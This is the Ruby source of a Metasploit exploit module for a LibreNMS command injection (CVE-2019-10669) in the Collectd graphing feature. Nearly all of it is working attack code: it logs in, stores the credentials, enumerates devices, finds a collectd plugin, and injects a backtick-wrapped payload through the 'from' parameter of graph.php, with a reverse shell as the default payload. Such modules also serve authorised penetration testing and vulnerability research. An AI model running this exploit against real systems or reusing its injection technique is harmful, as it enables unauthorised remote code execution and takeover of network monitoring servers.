LibreNMS – Collectd Command Injection (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'LibreNMS Collectd Command Injection', 'Description' => %q( This module exploits a command injection vulnerability in the Collectd graphing functionality in LibreNMS. The `to` and `from` parameters used to define the range for a graph are sanitized using the `mysqli_escape_real_string()` function, which permits backticks. These parameters are used as part of a shell command that gets executed via the `passthru()` function, which can result in code execution. ), 'License' => MSF_LICENSE, 'Author' => [ 'Eldar Marcussen', # Vulnerability discovery 'Shelby Pace' # Metasploit module ], 'References' => [ [ 'CVE', '2019-10669' ], [ 'URL', 'https://www.darkmatter.ae/xen1thlabs/librenms-command-injection-vulnerability-xl-19-017/' ] ], 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Linux', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse' } } ] ], 'DisclosureDate' => '2019-07-15', 'DefaultTarget' => 0 )) register_options( [ OptString.new('TARGETURI', [ true, 'Base LibreNMS path', '/' ]), OptString.new('USERNAME', [ true, 'User name for LibreNMS', '' ]), OptString.new('PASSWORD', [ true, 'Password for LibreNMS', '' ]) ]) end def check res = send_request_cgi!('method' => 'GET', 'uri' => target_uri.path) return Exploit::CheckCode::Safe unless res && res.body.downcase.include?('librenms') about_res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'pages', 'about.inc.php') ) return Exploit::CheckCode::Detected unless about_res && about_res.code == 200 version = about_res.body.match(/version\s+to\s+(\d+\.\d+\.?\d*)/) return Exploit::CheckCode::Detected unless version && version.length > 1 vprint_status("LibreNMS version #{version[1]} detected") version = Gem::Version.new(version[1]) return Exploit::CheckCode::Appears if version <= Gem::Version.new('1.50') end def login login_uri = normalize_uri(target_uri.path, 'login') res = send_request_cgi('method' => 'GET', 'uri' => login_uri) fail_with(Failure::NotFound, 'Failed to access the login page') unless res && res.code == 200 cookies = res.get_cookies login_res = send_request_cgi( 'method' => 'POST', 'uri' => login_uri, 'cookie' => cookies, 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } ) fail_with(Failure::NoAccess, 'Failed to submit credentials to login page') unless login_res && login_res.code == 302 cookies = login_res.get_cookies res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'cookie' => cookies ) fail_with(Failure::NoAccess, 'Failed to log into LibreNMS') unless res && res.code == 200 && res.body.include?('Devices') print_status('Successfully logged into LibreNMS. Storing credentials...') store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD']) login_res.get_cookies end def get_version uri = normalize_uri(target_uri.path, 'about') res = send_request_cgi( 'method' => 'GET', 'uri' => uri, 'cookie' => @cookies ) fail_with(Failure::NotFound, 'Failed to reach the about LibreNMS page') unless res && res.code == 200 html = res.get_html_document version = html.search('tr//td//a') fail_with(Failure::NotFound, 'Failed to retrieve version information') if version.empty? version.each do |e| return $1 if e.text =~ /(\d+\.\d+\.?\d*)/ end end def get_device_ids version = get_version print_status("LibreNMS version: #{version}") if version && Gem::Version.new(version) < Gem::Version.new('1.50') dev_uri = normalize_uri(target_uri.path, 'ajax_table.php') format = '+list_detail' else dev_uri = normalize_uri(target_uri.path, 'ajax', 'table', 'device') format = 'list_detail' end dev_res = send_request_cgi( 'method' => 'POST', 'uri' => dev_uri, 'cookie' => @cookies, 'vars_post' => { 'id' => 'devices', 'format' => format, 'current' => '1', 'sort[hostname]' => 'asc', 'rowCount' => 50 } ) fail_with(Failure::NotFound, 'Failed to access the devices page') unless dev_res && dev_res.code == 200 json = JSON.parse(dev_res.body) fail_with(Failure::NotFound, 'Unable to retrieve JSON response') if json.empty? json = json['rows'] fail_with(Failure::NotFound, 'Unable to find hostname data') if json.empty? hosts = [] json.each do |row| hostname = row['hostname'] next if hostname.nil? id = hostname.match('href=\"device\/device=(\d+)\/') next unless id && id.length > 1 hosts << id[1] end fail_with(Failure::NotFound, 'Failed to retrieve any device ids') if hosts.empty? hosts end def get_plugin_info(id) uri = normalize_uri(target_uri.path, "device", "device=#{id}", "tab=collectd") res = send_request_cgi( 'method' => 'GET', 'uri' => uri, 'cookie' => @cookies ) return unless res && res.code == 200 html = res.get_html_document plugin_link = html.at('div[@class="col-md-3"]//a/@href') return if plugin_link.nil? plugin_link = plugin_link.value plugin_hash = Hash[plugin_link.split('/').map { |plugin_val| plugin_val.split('=') }] c_plugin = plugin_hash['c_plugin'] c_type = plugin_hash['c_type'] c_type_instance = plugin_hash['c_type_instance'] || '' c_plugin_instance = plugin_hash['c_plugin_instance'] || '' return c_plugin, c_type, c_plugin_instance, c_type_instance end def exploit req_uri = normalize_uri(target_uri.path, 'graph.php') @cookies = login dev_ids = get_device_ids collectd_device = -1 plugin_name = nil plugin_type = nil plugin_instance = nil plugin_type_inst = nil dev_ids.each do |device| collectd_device = device plugin_name, plugin_type, plugin_instance, plugin_type_inst = get_plugin_info(device) break if (plugin_name && plugin_type && plugin_instance && plugin_type_inst) collectd_device = -1 end fail_with(Failure::NotFound, 'Failed to find a collectd plugin for any of the devices') if collectd_device == -1 print_status("Sending payload via device #{collectd_device}") res = send_request_cgi( 'method' => 'GET', 'uri' => req_uri, 'cookie' => @cookies, 'vars_get' => { 'device' => collectd_device, 'type' => 'device_collectd', 'to' => Rex::Text.rand_text_numeric(10), 'from' => "1`#{payload.encoded}`", 'c_plugin' => plugin_name, 'c_type' => plugin_type, 'c_plugin_instance' => plugin_instance, 'c_type_instance' => plugin_type_inst } ) end end |